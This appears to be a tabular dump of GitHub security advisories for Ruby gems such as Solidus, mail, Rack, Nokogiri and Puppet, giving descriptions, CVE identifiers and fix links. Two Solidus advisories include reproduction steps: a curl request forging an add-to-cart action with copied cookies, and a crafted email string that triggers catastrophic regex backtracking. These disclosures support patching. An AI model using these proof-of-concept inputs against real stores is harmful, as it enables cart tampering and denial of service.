RubyGems | GHSA-f2rp-4rv7-fc95 | Exposure of Sensitive Information to an Unauthorized Actor in foreman_fog_proxmox | A flaw was found in the Foreman project. The Proxmox compute resource exposes the password through the API to an authenticated local attacker with view_hosts permission. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. Versions before foreman_fog_proxmox 0.13.1 are affected | {'CVE-2021-20259'} | 2022-03-03T05:12:50.674375Z | 2021-06-10T15:54:43Z | HIGH | null | {'CWE-200'} | {'https://github.com/theforeman/foreman_fog_proxmox/releases/tag/v0.13.1', 'https://bugzilla.redhat.com/show_bug.cgi?id=1932144', 'https://github.com/theforeman/foreman_fog_proxmox/pull/184/commits/b7e910bf61563f5d447c71b1b41e2a373a794d7b', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20259'} | null | {'https://github.com/theforeman/foreman_fog_proxmox/pull/184/commits/b7e910bf61563f5d447c71b1b41e2a373a794d7b'} | {'https://github.com/theforeman/foreman_fog_proxmox/pull/184/commits/b7e910bf61563f5d447c71b1b41e2a373a794d7b'} |
RubyGems | GHSA-c92m-rrrc-q5wf | High severity vulnerability that affects safemode | The Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method. | {'CVE-2016-3693'} | 2022-03-03T05:14:04.550026Z | 2017-10-24T18:33:35Z | HIGH | null | {'CWE-200'} | {'https://github.com/theforeman/foreman/commit/82f9b93c54f72c5814df6bab7fad057eab65b2f2', 'https://github.com/svenfuchs/safemode/commit/0f764a1720a3a68fd2842e21377c8bfad6d7126f', 'http://projects.theforeman.org/issues/14635', 'http://www.openwall.com/lists/oss-security/2016/04/20/8', 'http://theforeman.org/security.html#2016-3693', 'https://github.com/advisories/GHSA-c92m-rrrc-q5wf', 'https://nvd.nist.gov/vuln/detail/CVE-2016-3693', 'https://access.redhat.com/errata/RHSA-2018:0336', 'http://rubysec.com/advisories/CVE-2016-3693/', 'https://github.com/svenfuchs/safemode'} | null | {'https://github.com/svenfuchs/safemode/commit/0f764a1720a3a68fd2842e21377c8bfad6d7126f', 'https://github.com/theforeman/foreman/commit/82f9b93c54f72c5814df6bab7fad057eab65b2f2'} | {'https://github.com/theforeman/foreman/commit/82f9b93c54f72c5814df6bab7fad057eab65b2f2', 'https://github.com/svenfuchs/safemode/commit/0f764a1720a3a68fd2842e21377c8bfad6d7126f'} |
RubyGems | GHSA-hxhj-hp9m-qwc4 | Moderate severity vulnerability that affects private_address_check | The private_address_check ruby gem before 0.4.0 is vulnerable to a bypass due to use of Ruby's Resolv.getaddresses method, which is OS-dependent and should not be relied upon for security measures, such as when used to blacklist private network addresses to prevent server-side request forgery. | {'CVE-2017-0904'} | 2022-03-03T05:14:08.022941Z | 2017-11-29T23:21:05Z | MODERATE | null | {'CWE-242'} | {'https://edoverflow.com/2017/ruby-resolv-bug/', 'https://github.com/advisories/GHSA-hxhj-hp9m-qwc4', 'https://github.com/jtdowney/private_address_check/issues/1', 'https://hackerone.com/reports/287835', 'https://nvd.nist.gov/vuln/detail/CVE-2017-0904', 'https://hackerone.com/reports/287245', 'https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af'} | null | {'https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af'} | {'https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af'} |
RubyGems | GHSA-q86f-fmqf-qrf6 | Moderate severity vulnerability that affects mail | The mail gem before 2.5.5 for Ruby (aka A Really Ruby Mail Library) is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring. | {'CVE-2015-9097'} | 2022-03-03T05:13:34.066169Z | 2017-10-24T18:33:36Z | MODERATE | null | {'CWE-93'} | {'https://rubysec.com/advisories/mail-OSVDB-131677', 'https://github.com/mikel/mail/commit/72befdc4dab3e6e288ce226a7da2aa474cf5be83', 'http://www.mbsd.jp/Whitepaper/smtpi.pdf', 'https://github.com/mikel/mail/pull/1097', 'https://nvd.nist.gov/vuln/detail/CVE-2015-9097', 'https://github.com/rubysec/ruby-advisory-db', 'http://openwall.com/lists/oss-security/2015/12/11/3', 'https://github.com/rubysec/ruby-advisory-db/issues/215', 'https://hackerone.com/reports/137631', 'https://github.com/advisories/GHSA-q86f-fmqf-qrf6'} | null | {'https://github.com/mikel/mail/commit/72befdc4dab3e6e288ce226a7da2aa474cf5be83'} | {'https://github.com/mikel/mail/commit/72befdc4dab3e6e288ce226a7da2aa474cf5be83'} |
RubyGems | GHSA-h3fg-h5v3-vf8m | CSRF forgery protection bypass in solidus_frontend | ### Impact
CSRF vulnerability that allows a malicious site to add an item to the user's cart without their knowledge.
All `solidus_frontend` versions are affected. If you're using your own storefront, please, follow along to make sure you're not affected.
To reproduce the issue:
- Pick the id for a variant with available stock. From the rails console:
```ruby
Spree::Variant.in_stock.pluck(:id)
```
Say we pick variant id `2`.
- Launch your application, for instance, on `http://localhost:3000`:
```bash
bin/rails server
```
- Open your browser dev tools.
- Click on whatever link in your store.
- Copy the value of the `Cookie` request header sent for the previous request from your browser dev tools.
- Execute the following, using your previously selected variant id and the value of the `Cookie` header (notice how it doesn't contain any authentication token):
```bash
curl -X POST -d "variant_id=2&quantity=1" -H "Cookie: guest_token=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklrWlRVMWRQWnpKMVZVdFNXRzlPVW1aaWJHTjZZa0VpIiwiZXhwIjpudWxsLCJwdXIiOiJjb29raWUuZ3Vlc3RfdG9rZW4ifX0%3D--5006ba5d346f621c760a29b6a797bf351d17d1b8; _sandbox_session=vhutu5%2FL9NmWrUpGc3DxrFA%2FFsQD1dHn1cNsD7nvE84zcjWf17Af4%2F%2F2Vab3md71b6KTb9NP6WktdXktpwH4eU01jEGIBXG5%2BMzW5nL0nb4W269qk1io4LYljvoOg8%2BZVll7oJCVkJLKKh0sSoS0Kg8j%2FCHHs%2BsShohP%2BGnA%2Bfr9Ub8H6HofpSmloSpsfHHygmX0ho03fEgzHJ4DD5wJctaNKwg7NhVikHh5kgIPPHl84OGCgv3p2oe9jR19HTxOKq7BtyvDd7XZsecWhkcfS8BPnvDDUWZG6qpAEFI5kWo81KkpSJ%2Bp6Q1HOo8%3D--n3G2vgaDG7VS%2B%2FhF--ZTjxBAkfGG3hpr4GRQ2S1Q%3D%3D; __profilin=p%3Dt" http://localhost:3000/orders/populate
```
- Reload your browser and look at how your cart got updated.
### Patches
Please, upgrade `solidus` to versions `3.1.5`, `3.0.5` or `2.11.14`.
After upgrading, make sure you read the "Upgrade notes" section below.
### Upgrade notes
The patch adds CSRF token verification to the "Add to cart" action. Adding forgery protection to a form that missed it can have some side effects.
#### `InvalidAuthenticityToken` errors
If you're using the `:exception` strategy, it's likely that after upgrading, you'll see more `ActionController::InvalidAuthenticityToken` errors popping out in your logs. Due to browser-side cache, a form can be re-rendered and sent without any attached request cookie (for instance, when re-opening a mobile browser). That will cause an authentication error, as the sent token won't match with the one in the session (none in this case). That's a known problem in the Rails community (see https://github.com/rails/rails/issues/21948), and, at this point, there's no perfect solution.
Any attempt to mitigate the issue should be seen at the application level. For an excellent survey of all the available options, take a look at https://github.com/betagouv/demarches-simplifiees.fr/blob/5b4f7f9ae9eaf0ac94008b62f7047e4714626cf9/doc/adr-csrf-forgery.md. The latter is a third-party link. As the information is relevant here, we're going to copy it below, but it should be clear that all the credit goes to @kemenaran:
> # Protecting against request forgery using CRSF tokens
>
> ## Context
>
> Rails has CSRF protection enabled by default, to protect against POST-based CSRF attacks.
>
> To protect from this, Rails stores two copies of a random token (the so-named CSRF token) on each request:
> - one copy embedded in each HTML page,
> - another copy in the user session.
>
> When performing a POST request, Rails checks that the two copies match – and otherwise denies the request. This protects against an attacker that would generate a form secretly pointing to our website: the attacker can't read the token in the session, and so can't post a form with a valid token.
>
> The problem is that, much more often, this has false positives. There are several cases for that, including:
>
> 1. The web browser (often mobile) loads a page containing a form, then is closed by the user. Later, when the browser is re-opened, it restores the page from the cache. But the session cookie has expired, and so is not restored – so the copy of the CSRF token stored in the session is missing. When the user submits the form, they get an "InvalidAuthenticityToken" exception.
>
> 2. The user attempts to fill a form, and gets an error message (usually in response to a POST request). They close the browser. When the browser is re-opened, it attempts to restore the page. On Chrome this is blocked by the browser, because the browser denies retrying a (probably non-idempotent) POST request. Safari however happily retries the POST request – but without sending any cookies (in an attempt to avoid having unexpected side-effects). So the copy of the CSRF token in the session is missing (because no cookie was sent), and the user get an "InvalidAuthenticityToken" exception.
>
> ## Options considered
>
> ### Extend the session cookie duration
>
> We can configure the session cookie to be valid for a longer time (like 2 weeks).
>
> Pros:
> - It solves 1., because when the browser restores the page, the session cookie is still valid.
>
> Cons:
> - Users would be signed-in for a much longer time by default, which has unacceptable security implications.
> - It doesn't solve 2. (because Safari doesn't send any cookie when restoring a page from a POST request)
>
> ### Change the cache parameters
>
> We can send a HTTP cache header stating 'Cache-Control: no-store, no-cache'. This instructs the browser to never keep any copy of the page, and to always make a request to the server to restore it.
>
> This solution was attempted during a year in production, and solved 1. – but also introduced another type of InvalidAuthenticityToken errors. In that scenario, the user attempts to fill a form, and gets an error message (usually in response to a POST request). They then navigate on another domain (like France Connect), then hit the "Back" button. Crossing back the domain boundary may cause the browser to either block the request or retry an invalid POST request.
>
> Pros:
> - It solves 1., because on relaunch the browser requests a fresh page again (instead of serving it from its cache), thus retrieving a fresh session and a fresh matching CSRF token.
>
> Cons:
> - It doesn't solve 2.
> - It causes another type of InvalidAuthenticityToken errors.
>
> ### Using a null-session strategy
>
> We can change the default protect_from_forgery strategy to :null_session. This makes the current request use an empty session for the request duration.
>
> Pros:
> - It kind of solves 1., by redirecting to a "Please sign-in" page when a stale form is submitted.
>
> Cons:
> - The user is asked to sign-in only after filling and submitting the form, losing their time and data
> - The user will not be redirected to their original page after signing-in
> - It has potential security implications: as the (potentically malicious) request runs anyway, variables cached by a controller before the Null session is created may allow the form submission to succeed anyway (https://www.veracode.com/blog/managing-appsec/when-rails-protectfromforgery-fails)
>
> ### Using a reset-session strategy
>
> We can change the default protect_from_forgery strategy to :reset_session. This clears the user session permanently, logging them out until they log in again.
>
> Pros:
> - It kind of solves 1., by redirecting to a "Please sign-in" page when a stale form is submitted.
>
> Cons:
> - A forgery error in a browser tab will disconnect the user in all its open tabs
> - It has potential security implications: as the (potentically malicious) request runs anyway, variables cached by a controller before the Null session is created may allow the form submission to succeed anyway (https://www.veracode.com/blog/managing-appsec/when-rails-protectfromforgery-fails)
> - It allows an attacker to disconnect an user on demand, which is not only inconvenient, but also has security implication (the attacker could then log the user on it's own attacker account, pretending to be the user account)
>
> ### Redirect to login form
>
> When a forgery error occurs, we can instead redirect to the login form.
>
> Pros:
> - It kind of solves 1., by redirecting to a "Please sign-in" page when a stale form is submitted (but the user data is lost).
> - It kind of solves 2., by redirecting to a "Please sign-in" page when a previously POSTed form is reloaded.
>
> Cons:
> - Not all forms require authentication – so for public forms there is no point redirecting to the login form.
> - The user will not be redirected to their original page after signing-in (because setting the redirect path is a state-changing action, and it is dangerous to let an unauthorized request changing the state – an attacker could control the path where an user is automatically redirected to.)
> - The implementation is finicky, and may introduce security errors. For instance, a naive implementation that catches the exception and redirect_to the sign-in page will prevent Devise from running a cleanup code – which means the user will still be logged, and the CSRF protection is bypassed. However a well-tested implementation that lets Devise code run should avoid these pittfalls.
>
> ### Using a long-lived cookie for CSRF tokens
>
> Instead of storing the CSRF token in the session cookie (which is deleted when the browser is closed), we can instead store it in a longer-lived cookie. For this we need to patch Rails.
>
> Pros:
> - It solves 1., because when the user submits a stale form, even if the session cookie because stale, the long-lived CSRF cookie is still valid.
>
> Cons:
> - It doesn't solve 2., because when Safari retries a POST request, it sends none of the cookies (not even long-lived ones).
> - Patching Rails may introduce security issues (now or in the future)
#### Broken behavior due to session expiration + template cache
Although pretty unlikely, you should make sure that your current setup for cache/session expiration is compatible. The upgrade can break the addition of products to the cart if both:
- The "Add to cart" form is being cached (usually along with the variant information).
- A user session is reset at every or every few requests.
The token validation depends on the issuing and consuming sessions being the same. If a product page is cached with the token in it, it can become stale on a subsequent rendering if the session changes.
To check that you're safe, after having upgraded locally, go through the following steps:
- Enable cache on dev mode:
```bash
bin/rails dev:cache
```
- Visit the page for a variant with stock.
- Reload that page several times.
- Click on the "Add to cart" button.
- Remember to rerun `bin/rails dev:cache` to turn off cache again.
No error or session reset should happen.
Otherwise, you can try with:
- Revisiting how your session gets expired.
- Changing the caching strategy to exclude the token.
#### Using weaker CSRF protection strategies
It's also important to understand that a complete fix will only be in place when using the `:exception` forgery protection strategy. The `solidus_frontend` engine can't do pretty much anything otherwise. Using weaker CSRF strategies should be an informed and limited decision made by the application team. After the upgrade:
- An app using `:null_session` should also be safe, but there will be side effects. That strategy runs with a null object session. As such, no order and no user is found on it. A new `cart` state order is created in the database, associated with no user. Next time the user visits the site, they won't find any difference in its cart state.
- An app using `:reset_session` is not entirely safe. That strategy resets the session. That means that registered users will be logged out. Next time a user visits, they'll see the cart with the items added during the CSRF attack, although it won't be associated with their account in the case of registered users.
#### Reversing the update
If you still want to deploy the upgraded version before changing your application code (if the latter is needed), you can add the following workaround to your `config/application.rb` (however, take into account that you'll keep being vulnerable):
```ruby
config.after_initialize do
Spree::OrdersController.skip_before_action :verify_authenticity_token, only: [:populate]
end
```
### Workarounds
If an upgrade is not an option, you can work around the issue by adding the following to `config/application.rb`:
```ruby
config.after_initialize do
Spree::OrdersController.protect_from_forgery with: ApplicationController.forgery_protection_strategy.name.demodulize.underscore.to_sym, only: [:populate]
end
```
However, go through the same safety check detailed on "Upgrade notes" above.
### References
- [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)
- [How CSRF tokens are generated and validated on Rails](https://medium.com/rubyinside/a-deep-dive-into-csrf-protection-in-rails-19fa0a42c0ef)
- [Solidus security](https://solidus.io/security/)
### For more information
If you have any questions or comments about this advisory:
* Open an [issue](https://github.com/solidusio/solidus/issues) or a [discussion](https://github.com/solidusio/solidus/discussions) in Solidus.
* Email us at [security@solidus.io](mailto:security@soliidus.io)
* Contact the core team on [Slack](http://slack.solidus.io/)
| {'CVE-2021-43846'} | 2022-03-03T05:13:47.735941Z | 2022-01-06T18:33:44Z | MODERATE | null | {'CWE-352'} | {'https://github.com/solidusio/solidus/security/advisories/GHSA-h3fg-h5v3-vf8m', 'https://github.com/solidusio/solidus/commit/a1b9bf7f24f9b8684fc4d943eacb02b1926c77c6', 'https://github.com/solidusio/solidus/commit/4d17cacf066d9492fc04eb3a0b16084b47376d81', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43846', 'https://github.com/solidusio/solidus'} | null | {'https://github.com/solidusio/solidus/commit/a1b9bf7f24f9b8684fc4d943eacb02b1926c77c6', 'https://github.com/solidusio/solidus/commit/4d17cacf066d9492fc04eb3a0b16084b47376d81'} | {'https://github.com/solidusio/solidus/commit/a1b9bf7f24f9b8684fc4d943eacb02b1926c77c6', 'https://github.com/solidusio/solidus/commit/4d17cacf066d9492fc04eb3a0b16084b47376d81'} |
RubyGems | GHSA-fmx4-26r3-wxpf | Integer overflow in cmark-gfm table parsing extension leads to heap memory corruption | ### Impact
CommonMarker uses `cmark-gfm` for rendering [Github Flavored Markdown](https://github.github.com/gfm/). An [integer overflow in `cmark-gfm`'s table row parsing](https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x) may lead to heap memory corruption when parsing tables who's marker rows contain more than UINT16_MAX columns. The impact of this heap corruption ranges from Information Leak to Arbitrary Code Execution.
If affected versions of CommonMarker are used for rendering remote user controlled markdown, this vulnerability may lead to Remote Code Execution (RCE).
### Patches
This vulnerability has been patched in the following CommonMarker release:
- v0.23.4
### Workarounds
The vulnerability exists in the table markdown extensions of `cmark-gfm`. Disabling any use of the table extension will prevent this vulnerability from being triggered.
### References
- https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x
### Acknowledgements
We would like to thank Felix Wilhelm of Google's Project Zero for reporting this vulnerability
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [CommonMarker](http://github.com/gjtorikian/commonmarker) | null | 2022-03-07T20:47:53.775868Z | 2022-03-03T20:28:47Z | HIGH | null | {'CWE-190'} | {'https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-fmx4-26r3-wxpf', 'https://github.com/gjtorikian/commonmarker', 'https://github.com/gjtorikian/commonmarker/commit/ab4504fd17460627a6ab255bc3c63e8e5fc6aed3', 'https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x'} | null | {'https://github.com/gjtorikian/commonmarker/commit/ab4504fd17460627a6ab255bc3c63e8e5fc6aed3'} | {'https://github.com/gjtorikian/commonmarker/commit/ab4504fd17460627a6ab255bc3c63e8e5fc6aed3'} |
RubyGems | GHSA-cj92-c4fj-w9c5 | Moderate severity vulnerability that affects mail | Directory traversal vulnerability in lib/mail/network/delivery_methods/file_delivery.rb in the Mail gem before 2.4.4 for Ruby allows remote attackers to read arbitrary files via a .. (dot dot) in the to parameter. | {'CVE-2012-2139'} | 2022-03-03T05:14:05.088425Z | 2017-10-24T18:33:38Z | MODERATE | null | {'CWE-22'} | {'http://secunia.com/advisories/48970', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080645.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080747.html', 'https://nvd.nist.gov/vuln/detail/CVE-2012-2139', 'https://github.com/advisories/GHSA-cj92-c4fj-w9c5', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080648.html', 'http://www.openwall.com/lists/oss-security/2012/04/25/8', 'https://bugzilla.redhat.com/show_bug.cgi?id=816352', 'https://github.com/mikel/mail/commit/29aca25218e4c82991400eb9b0c933626aefc98f', 'http://www.openwall.com/lists/oss-security/2012/04/26/1', 'https://bugzilla.novell.com/show_bug.cgi?id=759092', 'https://github.com/mikel/mail'} | null | {'https://github.com/mikel/mail/commit/29aca25218e4c82991400eb9b0c933626aefc98f'} | {'https://github.com/mikel/mail/commit/29aca25218e4c82991400eb9b0c933626aefc98f'} |
RubyGems | GHSA-px3r-jm9g-c8w8 | Moderate severity vulnerability that affects rails-html-sanitizer | There is a possible XSS vulnerability in all rails-html-sanitizer gem versions below 1.0.4 for Ruby. The gem allows non-whitelisted attributes to be present in sanitized output when input with specially-crafted HTML fragments, and these attributes can lead to an XSS attack on target applications. This issue is similar to CVE-2018-8048 in Loofah. All users running an affected release should either upgrade or use one of the workarounds immediately. | {'CVE-2018-3741'} | 2022-03-03T05:14:12.117468Z | 2018-04-26T15:41:10Z | MODERATE | null | {'CWE-79'} | {'https://github.com/rails/rails-html-sanitizer/commit/f3ba1a839a35f2ba7f941c15e239a1cb379d56ae', 'https://nvd.nist.gov/vuln/detail/CVE-2018-3741', 'https://github.com/advisories/GHSA-px3r-jm9g-c8w8'} | null | {'https://github.com/rails/rails-html-sanitizer/commit/f3ba1a839a35f2ba7f941c15e239a1cb379d56ae'} | {'https://github.com/rails/rails-html-sanitizer/commit/f3ba1a839a35f2ba7f941c15e239a1cb379d56ae'} |
RubyGems | GHSA-crjr-9rc5-ghw8 | Inefficient Regular Expression Complexity in Nokogiri | ## Summary
Nokogiri `< v1.13.4` contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to detect encoding in HTML documents.
## Mitigation
Upgrade to Nokogiri `>= 1.13.4`.
## Severity
The Nokogiri maintainers have evaluated this as [**High Severity** 7.5 (CVSS3.1)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
## References
[CWE-1333](https://cwe.mitre.org/data/definitions/1333.html) Inefficient Regular Expression Complexity
## Credit
This vulnerability was reported by HackerOne user ooooooo_q (ななおく).
| {'CVE-2022-24836'} | 2022-04-26T18:17:12.810194Z | 2022-04-11T21:18:06Z | HIGH | null | {'CWE-1333', 'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-24836', 'https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ?utm_medium=email&utm_source=footer', 'https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-crjr-9rc5-ghw8', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OUPLBUZVM4WPFSXBEP2JS3R6LMKRTLFC/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XMDCWRQXJQ3TFSETPCEFMQ6RR6ME5UA3/', 'https://github.com/sparklemotion/nokogiri/commit/e444525ef1634b675cd1cf52d39f4320ef0aecfd', 'https://github.com/sparklemotion/nokogiri', 'https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4'} | null | {'https://github.com/sparklemotion/nokogiri/commit/e444525ef1634b675cd1cf52d39f4320ef0aecfd'} | {'https://github.com/sparklemotion/nokogiri/commit/e444525ef1634b675cd1cf52d39f4320ef0aecfd'} |
RubyGems | GHSA-5f9h-9pjv-v6j7 | Directory traversal in Rack::Directory app bundled with Rack | A directory traversal vulnerability exists in rack < 2.2.0 that allows an attacker perform directory traversal vulnerability in the Rack::Directory app that is bundled with Rack which could result in information disclosure. | {'CVE-2020-8161'} | 2022-03-03T05:13:05.884012Z | 2020-07-06T21:31:02Z | MODERATE | null | {'CWE-548'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-8161', 'https://lists.debian.org/debian-lts-announce/2020/07/msg00006.html', 'https://github.com/rack/rack/commit/dddb7ad18ed79ca6ab06ccc417a169fde451246e', 'https://usn.ubuntu.com/4561-1/', 'https://groups.google.com/g/rubyonrails-security/c/IOO1vNZTzPA', 'https://hackerone.com/reports/434404', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2020-8161.yml', 'https://groups.google.com/forum/#!topic/ruby-security-ann/T4ZIsfRf2eA'} | null | {'https://github.com/rack/rack/commit/dddb7ad18ed79ca6ab06ccc417a169fde451246e'} | {'https://github.com/rack/rack/commit/dddb7ad18ed79ca6ab06ccc417a169fde451246e'} |
RubyGems | GHSA-pcqq-5962-hvcw | Denial of Service in uap-core when processing crafted User-Agent strings | ### Impact
Some regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.
### Patches
Please update `uap-ruby` to >= v2.6.0
### For more information
https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p
Reported in `uap-core` by Ben Caller @bcaller | null | 2022-03-03T05:14:03.085188Z | 2020-03-10T18:02:49Z | HIGH | null | null | {'https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a', 'https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw'} | null | {'https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a'} | {'https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a'} |
RubyGems | GHSA-g98m-96g9-wfjq | Insecure path handling in Bundler | Bundler prior to 2.1.0 uses a predictable path in /tmp/, created with insecure permissions as a storage location for gems, if locations under the user's home directory are not available. If Bundler is used in a scenario where the user does not have a writable home directory, an attacker could place malicious code in this directory that would be later loaded and executed. | {'CVE-2019-3881'} | 2022-03-03T05:12:42.465042Z | 2021-05-10T14:53:59Z | HIGH | null | {'CWE-427', 'CWE-552'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-3881', 'https://github.com/rubygems/bundler/pull/7416/commits/65cfebb041c454c246aaf32a177b0243915a9998', 'https://github.com/rubygems/bundler', 'https://bugzilla.redhat.com/show_bug.cgi?id=1651826', 'https://github.com/rubygems/bundler/issues/6501'} | null | {'https://github.com/rubygems/bundler/pull/7416/commits/65cfebb041c454c246aaf32a177b0243915a9998'} | {'https://github.com/rubygems/bundler/pull/7416/commits/65cfebb041c454c246aaf32a177b0243915a9998'} |
RubyGems | GHSA-q44r-f2hm-v76v | Moderate severity vulnerability that affects puppet | lib/puppet/ssl/certificate_authority.rb in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, does not properly restrict the characters in the Common Name field of a Certificate Signing Request (CSR), which makes it easier for user-assisted remote attackers to trick administrators into signing a crafted agent certificate via ANSI control sequences. | {'CVE-2012-3867'} | 2022-03-03T05:13:36.382813Z | 2017-10-24T18:33:37Z | MODERATE | null | null | {'https://bugzilla.redhat.com/show_bug.cgi?id=839158', 'http://www.debian.org/security/2012/dsa-2511', 'https://nvd.nist.gov/vuln/detail/CVE-2012-3867', 'https://github.com/advisories/GHSA-q44r-f2hm-v76v', 'http://www.ubuntu.com/usn/USN-1506-1', 'http://puppetlabs.com/security/cve/cve-2012-3867/', 'http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00006.html', 'https://github.com/puppetlabs/puppet/commit/dfedaa5fa841ccf335245a748b347b7c7c236640', 'https://github.com/puppetlabs/puppet', 'http://secunia.com/advisories/50014', 'http://lists.opensuse.org/opensuse-updates/2012-07/msg00036.html', 'https://github.com/puppetlabs/puppet/commit/f3419620b42080dad3b0be14470b20a972f13c50'} | null | {'https://github.com/puppetlabs/puppet/commit/f3419620b42080dad3b0be14470b20a972f13c50', 'https://github.com/puppetlabs/puppet/commit/dfedaa5fa841ccf335245a748b347b7c7c236640'} | {'https://github.com/puppetlabs/puppet/commit/f3419620b42080dad3b0be14470b20a972f13c50', 'https://github.com/puppetlabs/puppet/commit/dfedaa5fa841ccf335245a748b347b7c7c236640'} |
RubyGems | GHSA-h77x-m5q8-c29h | Moderate severity vulnerability that affects rack | lib/rack/multipart.rb in Rack before 1.1.4, 1.2.x before 1.2.6, 1.3.x before 1.3.7, and 1.4.x before 1.4.2 uses an incorrect regular expression, which allows remote attackers to cause a denial of service (infinite loop) via a crafted Content-Disposion header. | {'CVE-2012-6109'} | 2022-03-03T05:13:12.747609Z | 2017-10-24T18:33:37Z | MODERATE | null | {'CWE-835'} | {'https://github.com/rack/rack/commit/c9f65df37a151821eb88ddd1dc404b83e52c52d5', 'http://rhn.redhat.com/errata/RHSA-2013-0544.html', 'http://rhn.redhat.com/errata/RHSA-2013-0548.html', 'https://github.com/rack/rack/', 'https://bugzilla.redhat.com/show_bug.cgi?id=895277', 'http://rack.github.com/', 'https://github.com/rack/rack/blob/master/README.rdoc', 'https://github.com/advisories/GHSA-h77x-m5q8-c29h', 'https://groups.google.com/forum/#!msg/rack-devel/1w4_fWEgTdI/XAkSNHjtdTsJ', 'https://nvd.nist.gov/vuln/detail/CVE-2012-6109'} | null | {'https://github.com/rack/rack/commit/c9f65df37a151821eb88ddd1dc404b83e52c52d5'} | {'https://github.com/rack/rack/commit/c9f65df37a151821eb88ddd1dc404b83e52c52d5'} |
RubyGems | GHSA-653m-r33x-39ff | Moderate severity vulnerability that affects geminabox | Stored cross-site scripting (XSS) vulnerability in "geminabox" (Gem in a Box) before 0.13.10 allows attackers to inject arbitrary web script via the "homepage" value of a ".gemspec" file, related to views/gem.erb and views/index.erb. | {'CVE-2017-16792'} | 2022-03-03T05:13:16.322021Z | 2017-11-29T23:20:14Z | MODERATE | null | {'CWE-79'} | {'https://github.com/advisories/GHSA-653m-r33x-39ff', 'https://github.com/geminabox/geminabox/commit/f8429a9e364658459add170e4ebc7a5d3b4759e7', 'https://github.com/geminabox/geminabox/blob/master/CHANGELOG.md', 'https://nvd.nist.gov/vuln/detail/CVE-2017-16792', 'https://rubygems.org/gems/geminabox/versions/0.13.10', 'https://github.com/geminabox/geminabox'} | null | {'https://github.com/geminabox/geminabox/commit/f8429a9e364658459add170e4ebc7a5d3b4759e7'} | {'https://github.com/geminabox/geminabox/commit/f8429a9e364658459add170e4ebc7a5d3b4759e7'} |
RubyGems | GHSA-qxmr-qxh6-2cc9 | ReDos vulnerability on guest checkout email validation | ### Impact
Denial of service vulnerability that could be exploited during a guest checkout. The regular expression used to validate a guest order's email was subject to exponential backtracking through a fragment like `a.a.`.
Before the patch, it can be reproduced in the console like this:
```ruby
irb(main)> Spree::EmailValidator::EMAIL_REGEXP.match "a@a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.@"
processing time: 54.293660s
=> nil
```
To reproduce in the browser, fill in the "Customer Email" field with that fake email address during a guest checkout. Before that, you should open the browser dev tools and change the `type` attribute for that field from `email` to `text`. After entering a fake address and pressing the "Save & Continue" button, the browser will take a long term to perform the request before showing an error message for the invalid address. Eventually, making the email string even longer could lead to the exhaustion of server resources.
### Patches
Versions 3.1.4, 3.0.4, and 2.11.13 have been patched to use a different regular expression.
There's an improbable chance that some orders in your system end up having associated an email address that is no longer valid. We've added a task to check precisely that:
```bash
bin/rails solidus:check_orders_with_invalid_email
```
The above will print information for every affected order if any.
### Workarounds
If a prompt upgrade is not an option, please, add the following to `config/application.rb`:
```ruby
config.after_initialize do
Spree::EmailValidator.send(:remove_const, :EMAIL_REGEXP)
Spree::EmailValidator::EMAIL_REGEXP = URI::MailTo::EMAIL_REGEXP
end
```
### References
- https://en.wikipedia.org/wiki/ReDoS
- https://snyk.io/blog/redos-and-catastrophic-backtracking/
### For more information
If you have any questions or comments about this advisory:
* Open an [issue](https://github.com/solidusio/solidus/issues) or a [discussion](https://github.com/solidusio/solidus/discussions) in Solidus.
* Email us at [security@solidus.io](mailto:security@soliidus.io)
* Contact the core team on [Slack](http://slack.solidus.io/)
